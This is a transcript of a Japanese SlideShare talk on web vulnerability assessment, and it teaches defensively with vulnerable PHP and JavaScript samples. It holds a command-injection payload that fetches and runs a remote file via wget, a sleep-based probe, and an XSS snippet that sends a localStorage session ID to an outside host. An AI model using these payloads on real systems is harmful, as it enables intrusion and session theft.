SlideShare uma empresa Scribd logo
1 de 30
Baixar para ler offline
ソースで学ぶ脆弱性診断
SmartTechGeeks #2 桃原 裕太
名前 桃原 裕太 / とうばる ゆうた
所属 株式会社 シーエー・アドバンス 技術統括本部
経歴 前職
 ・ECサイト等の開発
株式会社 シーエー・アドバンス
 ・社内ツールの開発
 ・脆弱性診断の業務に携わって約4年
業務 Webアプリケーション脆弱性診断
 ・PCブラウザ向けアプリ
 ・SPブラウザ向けアプリ
 ・Androidアプリ
 ・iOSアプリ
自己紹介
脆弱性診断とは
Webサイトに脆弱性がないか、擬似攻撃を行って調査しています。
サービスを健全な状態に保つことで外部からの攻撃を防ぎます。
注意
本資料で紹介した内容について
他者が管理しているサービスでは
試さないようにお願いします。
今回のテーマ
サンプルソースをもとに、
脆弱性について一緒に考えていきたいと思います。
❏ どのような脆弱性か?
❏ どのような影響があるのか?
❏ どのように対策したらいいの?
脆弱性の例
クロスサイトスクリプティング
SQLインジェクション
OSコマンドインジェクション
アクセス権 等
最近だと…
WordPress の脆弱性がありましたね
【参考URL】https://www.ipa.go.jp/security/ciadr/vul/20170206-wordpress.html
対 象 WordPress 4.7.0 から WordPress 4.7.1
影 響
REST API の脆弱性を悪用することで
コンテンツが改ざんされる
対 策 WordPress 4.7.2 へアップデートする
問題!
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
OSコマンドインジェクション
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header(“Location: http://hoge.com/login"); exit();
$yyyymm = $_POST[“yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
①バッチを動かす
php /batch/order_summary.php 201701;
②sleepコマンドで10秒停止
sleep 10;
OSコマンドインジェクション
なぜsleepコマンド?
❏ yyyymm=201701 の場合
※レスポンスが返ってくるまでに1秒かかる
❏ yyyymm=201701;sleep 10; の場合
※レスポンスが返ってくるまでに11秒かかる
OSコマンドインジェクション
外部の人でも
sleepコマンドを投げることで
脆弱性があるか判別できます
※試す場合は、許可を得たサイトだけにしてください。
他者のサービスで試すと不正アクセスで
訴えられる恐れがあります
OSコマンドインジェクション
影響
❏ 不正なファイルのDLと実行
❏ ;wget http://example.com/evil.txt -O evil.php;php evil.php;
❏ ツールの取得(yum, apt-get)
❏ ファイル削除 (rm)
❏ OSシャットダウン(shutdown)
❏ その他いろいろ
OSコマンドインジェクション
対策 ※一例ですが…
❏ OSコマンドに渡すパラメータを
安全な関数によりエスケープする。
(すべて数字で構成されているか)
❏ 外部から入力された文字列を
コマンドラインのパラメータに渡さない
(画面ではなく、バックエンドでの定期実行に変える)
次の問題!
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/login.php
<!-- javascript -->
// ログイン処理
fetch('/login_fetch.php', {
method: 'POST',
body: new FormData(document.getElementById('form1')),
})
// レスポンス取得
.then(response => response.json())
// WebストレージにセッションIDを格納
.then(json =>
localStorage.setItem('session_id', (json.isLogin) ? json.session_id : ''));
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/login.php
<!-- javascript -->
// ログイン処理
fetch('/login_fetch.php', {
method: 'POST',
body: new FormData(document.getElementById('form1')),
})
// レスポンス取得
.then(response => response.json())
// WebストレージにセッションIDを格納
.then(json =>
localStorage.setItem('session_id', (json.isLogin) ? json.session_id : ''));
WebStorageにセッションIDを保存している
WebStorageへの機密情報の保存
セッションIDを盗まれてしまう可能性があります
セッションIDが盗まれる例 ※サイト内にXSSがある場合になります…
1. XSSを利用して、下記scriptを埋め込みます。
2. 結果、罠サイトへアクセスする際にセッションIDが漏洩します。
<!-- javascript -->
ses_id = localStorage.getItem('session_id');
img = $('<img src="http://fuga.com/1.png?session_id='+ses_id+'">');
$('body').append(img); // bodyの一番下にimgタグ追加
WebStorageへの機密情報の保存
セッション情報が送信されたサイトのアクセスログ
192.168.99.1 - - [08/Feb/2017:06:06:04 +0000] "GET/1.png?session_id=s1234
HTTP/1.1" 404 497 "http://192.168.99.100/xss.php" "Mozilla/5.0 (Windows NT 6.1;
Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
Safari/537.36"
GET/1.png?session_id=s1234 HTTP/1.1
アクセスログに残っている "s1234" を使うことで
対象サイトでなりすましできる
WebStorageへの機密情報の保存
影響
XSSと組み合わせることでデータの取得や設定が可能に
・セッションIDの取得や上書き
・個人情報の取得 等
対策(一例)
セッション情報はCookieで保持するようにします。
HttponlyやSecure属性を設定し、適切に保護。
実際に脆弱性診断する
ときはどうしているか?
実際に脆弱性診断するときはどうしているか
診断ツールを使って確認しています。
・自動診断(XSS, インジェクション攻撃 ... etc)
・手動診断(CSRF, アクセス権 ... etc)
ツールで検出しやすいものは自動診断
それ以外項目は手動診断しています。
脆弱性診断で使うツール
診断効率をあげるためのツールのご紹介
❏ Burp Suite  ※弊社でも使ってます
❏ OWASP ZAP
❏ Fiddler
※試す場合は、許可を得たサイトだけにしてください。
 他者のサービスで試すと不正アクセスで訴えられる恐れがあります。
もし脆弱性診断に興味が出てきたら(その1)
IPAでセキュリティ理解を深めるための資料を公開しています。(無料)
安全なウェブサイトの作り方
https://www.ipa.go.jp/security/vuln/websecurity.html
脆弱性体験学習ツール AppGoat
https://www.ipa.go.jp/security/vuln/appgoat/
もし脆弱性診断に興味が出てきたら(その2)
http://qiita.com/organizations/ca-adv にもあるので解いてみてください
おわりに
まとめ、と補足
❏ Webアプリケーション脆弱性診断について
少しでも理解してもらえると幸いです。
❏ OSコマンドインジェクションは危ない!
❏ ふつうに開発してるだけだと脆弱性は入ってしまうので、ぜひ
対策をご検討ください。
❏ セキュリティの専門家に依頼する
❏ 社内でセキュリティ意識を高める ... etc
ご清聴ありがとうございました

Mais conteúdo relacionado

Mais procurados

Android起動周りのノウハウ
Android起動周りのノウハウAndroid起動周りのノウハウ
Android起動周りのノウハウ
chancelab
 
書籍 「Python FlaskによるWebアプリ開発入門 物体検知アプリ&機械学習APIの作り方」 を通して伝えたいFlaskのプラクティス.pdf
書籍 「Python FlaskによるWebアプリ開発入門 物体検知アプリ&機械学習APIの作り方」 を通して伝えたいFlaskのプラクティス.pdf書籍 「Python FlaskによるWebアプリ開発入門 物体検知アプリ&機械学習APIの作り方」 を通して伝えたいFlaskのプラクティス.pdf
書籍 「Python FlaskによるWebアプリ開発入門 物体検知アプリ&機械学習APIの作り方」 を通して伝えたいFlaskのプラクティス.pdf
taisa831
 
文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)
Hiroshi Tokumaru
 
脆弱性診断とはなんぞや
脆弱性診断とはなんぞや脆弱性診断とはなんぞや
脆弱性診断とはなんぞや
mkoda
 

Mais procurados (20)

オブジェクト指向プログラミングの現在・過去・未来
オブジェクト指向プログラミングの現在・過去・未来オブジェクト指向プログラミングの現在・過去・未来
オブジェクト指向プログラミングの現在・過去・未来
 
私にとってのテスト
私にとってのテスト私にとってのテスト
私にとってのテスト
 
「伝わるチケット」の書き方
「伝わるチケット」の書き方「伝わるチケット」の書き方
「伝わるチケット」の書き方
 
JCSQE初級受けてみたの
JCSQE初級受けてみたのJCSQE初級受けてみたの
JCSQE初級受けてみたの
 
なぜ自社で脆弱性診断を行うべきなのか
なぜ自社で脆弱性診断を行うべきなのかなぜ自社で脆弱性診断を行うべきなのか
なぜ自社で脆弱性診断を行うべきなのか
 
Android起動周りのノウハウ
Android起動周りのノウハウAndroid起動周りのノウハウ
Android起動周りのノウハウ
 
今夜わかるWebアプリケーション脆弱性診断 (OWASP Day 758 / 2018)
今夜わかるWebアプリケーション脆弱性診断 (OWASP Day 758 / 2018)今夜わかるWebアプリケーション脆弱性診断 (OWASP Day 758 / 2018)
今夜わかるWebアプリケーション脆弱性診断 (OWASP Day 758 / 2018)
 
iostat await svctm の 見かた、考え方
iostat await svctm の 見かた、考え方iostat await svctm の 見かた、考え方
iostat await svctm の 見かた、考え方
 
[AVTOKYO 2017] What is red team?
[AVTOKYO 2017] What is red team?[AVTOKYO 2017] What is red team?
[AVTOKYO 2017] What is red team?
 
オブジェクト指向プログラミング入門 -- Java object-oriented programming primer
オブジェクト指向プログラミング入門 -- Java object-oriented programming primerオブジェクト指向プログラミング入門 -- Java object-oriented programming primer
オブジェクト指向プログラミング入門 -- Java object-oriented programming primer
 
書籍 「Python FlaskによるWebアプリ開発入門 物体検知アプリ&機械学習APIの作り方」 を通して伝えたいFlaskのプラクティス.pdf
書籍 「Python FlaskによるWebアプリ開発入門 物体検知アプリ&機械学習APIの作り方」 を通して伝えたいFlaskのプラクティス.pdf書籍 「Python FlaskによるWebアプリ開発入門 物体検知アプリ&機械学習APIの作り方」 を通して伝えたいFlaskのプラクティス.pdf
書籍 「Python FlaskによるWebアプリ開発入門 物体検知アプリ&機械学習APIの作り方」 を通して伝えたいFlaskのプラクティス.pdf
 
Goji とレイヤ化アーキテクチャ
Goji とレイヤ化アーキテクチャGoji とレイヤ化アーキテクチャ
Goji とレイヤ化アーキテクチャ
 
受託の会社が調達せずに自社サービスを立ち上げ事業として成立するまでの企画・開発・サポート・マーケティング
受託の会社が調達せずに自社サービスを立ち上げ事業として成立するまでの企画・開発・サポート・マーケティング受託の会社が調達せずに自社サービスを立ち上げ事業として成立するまでの企画・開発・サポート・マーケティング
受託の会社が調達せずに自社サービスを立ち上げ事業として成立するまでの企画・開発・サポート・マーケティング
 
文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)
 
脆弱性診断とはなんぞや
脆弱性診断とはなんぞや脆弱性診断とはなんぞや
脆弱性診断とはなんぞや
 
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
 
DeClang 誕生!Clang ベースのハッキング対策コンパイラ【DeNA TechCon 2020 ライブ配信】
DeClang 誕生!Clang ベースのハッキング対策コンパイラ【DeNA TechCon 2020 ライブ配信】DeClang 誕生!Clang ベースのハッキング対策コンパイラ【DeNA TechCon 2020 ライブ配信】
DeClang 誕生!Clang ベースのハッキング対策コンパイラ【DeNA TechCon 2020 ライブ配信】
 
IDA,VC,DID関連仕様 最新情報 - OpenID BizDay #15
IDA,VC,DID関連仕様 最新情報 - OpenID BizDay #15IDA,VC,DID関連仕様 最新情報 - OpenID BizDay #15
IDA,VC,DID関連仕様 最新情報 - OpenID BizDay #15
 
C++のライブラリを簡単に眺めてみよう
C++のライブラリを簡単に眺めてみようC++のライブラリを簡単に眺めてみよう
C++のライブラリを簡単に眺めてみよう
 
今なら間に合う分散型IDとEntra Verified ID
今なら間に合う分散型IDとEntra Verified ID今なら間に合う分散型IDとEntra Verified ID
今なら間に合う分散型IDとEntra Verified ID
 

Destaque

Tablete de-stil-de-viata-sanatatea
Tablete de-stil-de-viata-sanatateaTablete de-stil-de-viata-sanatatea
Tablete de-stil-de-viata-sanatatea
saraviola
 

Destaque (20)

Webアプリケーション脆弱性診断について
Webアプリケーション脆弱性診断についてWebアプリケーション脆弱性診断について
Webアプリケーション脆弱性診断について
 
MongoDBの脆弱性診断 - smarttechgeeks
MongoDBの脆弱性診断 - smarttechgeeksMongoDBの脆弱性診断 - smarttechgeeks
MongoDBの脆弱性診断 - smarttechgeeks
 
Chuyên
ChuyênChuyên
Chuyên
 
Pengertian dan Sejarah Software Open Source
Pengertian dan Sejarah Software Open SourcePengertian dan Sejarah Software Open Source
Pengertian dan Sejarah Software Open Source
 
Maestro conoce a sus alumnos
Maestro  conoce a sus alumnosMaestro  conoce a sus alumnos
Maestro conoce a sus alumnos
 
Talia's Resume'
Talia's Resume'Talia's Resume'
Talia's Resume'
 
Дмитрий Мартынов: О подписке на газеты и журналы в I полугодии 2017 года  и п...
Дмитрий Мартынов: О подписке на газеты и журналы в I полугодии 2017 года  и п...Дмитрий Мартынов: О подписке на газеты и журналы в I полугодии 2017 года  и п...
Дмитрий Мартынов: О подписке на газеты и журналы в I полугодии 2017 года  и п...
 
Pak janggut kapal dari es
Pak janggut kapal dari esPak janggut kapal dari es
Pak janggut kapal dari es
 
Web applicationpenetrationtest その3
Web applicationpenetrationtest その3Web applicationpenetrationtest その3
Web applicationpenetrationtest その3
 
Tipos de condicionales
Tipos de condicionalesTipos de condicionales
Tipos de condicionales
 
Refugios temporales
Refugios temporalesRefugios temporales
Refugios temporales
 
担当Pjのciにserverless frameworkを導入した話
担当Pjのciにserverless frameworkを導入した話担当Pjのciにserverless frameworkを導入した話
担当Pjのciにserverless frameworkを導入した話
 
HFCC 創新場域工作坊
HFCC 創新場域工作坊 HFCC 創新場域工作坊
HFCC 創新場域工作坊
 
email in our daily life
email in our daily lifeemail in our daily life
email in our daily life
 
Tablete de-stil-de-viata-sanatatea
Tablete de-stil-de-viata-sanatateaTablete de-stil-de-viata-sanatatea
Tablete de-stil-de-viata-sanatatea
 
Dockerでデプロイ
DockerでデプロイDockerでデプロイ
Dockerでデプロイ
 
Presentation employees Nutricia
Presentation employees NutriciaPresentation employees Nutricia
Presentation employees Nutricia
 
Danone Nutricia Case - The Data-Driven Mother's Journey by Christopher Nash, ...
Danone Nutricia Case - The Data-Driven Mother's Journey by Christopher Nash, ...Danone Nutricia Case - The Data-Driven Mother's Journey by Christopher Nash, ...
Danone Nutricia Case - The Data-Driven Mother's Journey by Christopher Nash, ...
 
Gender differences in symptomatology of autism spectrum disorder
Gender differences in symptomatology of autism spectrum disorderGender differences in symptomatology of autism spectrum disorder
Gender differences in symptomatology of autism spectrum disorder
 
Bioaccumulation & biomagnifications
Bioaccumulation & biomagnificationsBioaccumulation & biomagnifications
Bioaccumulation & biomagnifications
 

Semelhante a ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

診断ツールを作ってみようと思う
診断ツールを作ってみようと思う診断ツールを作ってみようと思う
診断ツールを作ってみようと思う
abend_cve_9999_0001
 
AndroidでのAntiVirus
AndroidでのAntiVirusAndroidでのAntiVirus
AndroidでのAntiVirus
Shoko Araki
 
WisePoint Shibboleth presentation at Oosaka
WisePoint Shibboleth presentation at Oosaka WisePoint Shibboleth presentation at Oosaka
WisePoint Shibboleth presentation at Oosaka
Katsumi Yamashita
 

Semelhante a ソースで学ぶ脆弱性診断 - SmartTechGeeks #2 (20)

ざっくり学ぼうあぶないWebアプリの脆弱性
ざっくり学ぼうあぶないWebアプリの脆弱性ざっくり学ぼうあぶないWebアプリの脆弱性
ざっくり学ぼうあぶないWebアプリの脆弱性
 
SecurityCamp2015「バグハンティング入門」
SecurityCamp2015「バグハンティング入門」SecurityCamp2015「バグハンティング入門」
SecurityCamp2015「バグハンティング入門」
 
Mix Leap 0214 security
Mix Leap 0214 securityMix Leap 0214 security
Mix Leap 0214 security
 
診断ツールを作ってみようと思う
診断ツールを作ってみようと思う診断ツールを作ってみようと思う
診断ツールを作ってみようと思う
 
【Explanatory material】Securify_v1.2.pptx
【Explanatory material】Securify_v1.2.pptx【Explanatory material】Securify_v1.2.pptx
【Explanatory material】Securify_v1.2.pptx
 
~2018年Webセキュリティ最前線セミナー~ 今や従来通りの対策ではWebセキュリティが万全ではないこれだけの理由
~2018年Webセキュリティ最前線セミナー~ 今や従来通りの対策ではWebセキュリティが万全ではないこれだけの理由~2018年Webセキュリティ最前線セミナー~ 今や従来通りの対策ではWebセキュリティが万全ではないこれだけの理由
~2018年Webセキュリティ最前線セミナー~ 今や従来通りの対策ではWebセキュリティが万全ではないこれだけの理由
 
デブサミ2013【15-C-8】セキュリティ要求仕様モデルプランで日本は変わるか?(百瀬昌幸氏)
デブサミ2013【15-C-8】セキュリティ要求仕様モデルプランで日本は変わるか?(百瀬昌幸氏)デブサミ2013【15-C-8】セキュリティ要求仕様モデルプランで日本は変わるか?(百瀬昌幸氏)
デブサミ2013【15-C-8】セキュリティ要求仕様モデルプランで日本は変わるか?(百瀬昌幸氏)
 
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
 
AndroidでのAntiVirus
AndroidでのAntiVirusAndroidでのAntiVirus
AndroidでのAntiVirus
 
WisePoint Shibboleth presentation at Oosaka
WisePoint Shibboleth presentation at Oosaka WisePoint Shibboleth presentation at Oosaka
WisePoint Shibboleth presentation at Oosaka
 
0325できる?どうやる!word pressのセキュリティ運用
0325できる?どうやる!word pressのセキュリティ運用0325できる?どうやる!word pressのセキュリティ運用
0325できる?どうやる!word pressのセキュリティ運用
 
Webセキュリティエンジニアから見るAWSセキュリティ
Webセキュリティエンジニアから見るAWSセキュリティWebセキュリティエンジニアから見るAWSセキュリティ
Webセキュリティエンジニアから見るAWSセキュリティ
 
20171115 社長5年会
20171115 社長5年会20171115 社長5年会
20171115 社長5年会
 
天職の就き方 〜 ぼくらが旅に出る理由 Part 2 #ssmjp 1501
天職の就き方 〜 ぼくらが旅に出る理由 Part 2 #ssmjp 1501天職の就き方 〜 ぼくらが旅に出る理由 Part 2 #ssmjp 1501
天職の就き方 〜 ぼくらが旅に出る理由 Part 2 #ssmjp 1501
 
【Securify】Partner program.pdf
【Securify】Partner program.pdf【Securify】Partner program.pdf
【Securify】Partner program.pdf
 
[Japan Tech summit 2017] CLD 023
[Japan Tech summit 2017]  CLD 023[Japan Tech summit 2017]  CLD 023
[Japan Tech summit 2017] CLD 023
 
今から取り組む企業のための脆弱性対応 〜⼤丈夫、みんなよく分かっていないから〜
今から取り組む企業のための脆弱性対応 〜⼤丈夫、みんなよく分かっていないから〜今から取り組む企業のための脆弱性対応 〜⼤丈夫、みんなよく分かっていないから〜
今から取り組む企業のための脆弱性対応 〜⼤丈夫、みんなよく分かっていないから〜
 
DVWAで爆上げWebAppセキュリティスキル@shunaroo
DVWAで爆上げWebAppセキュリティスキル@shunarooDVWAで爆上げWebAppセキュリティスキル@shunaroo
DVWAで爆上げWebAppセキュリティスキル@shunaroo
 
I-C-I Webセキュリティサービスのご紹介
I-C-I Webセキュリティサービスのご紹介I-C-I Webセキュリティサービスのご紹介
I-C-I Webセキュリティサービスのご紹介
 
Cy-PSIRTの取り組み
Cy-PSIRTの取り組みCy-PSIRTの取り組み
Cy-PSIRTの取り組み
 

ソースで学ぶ脆弱性診断 - SmartTechGeeks #2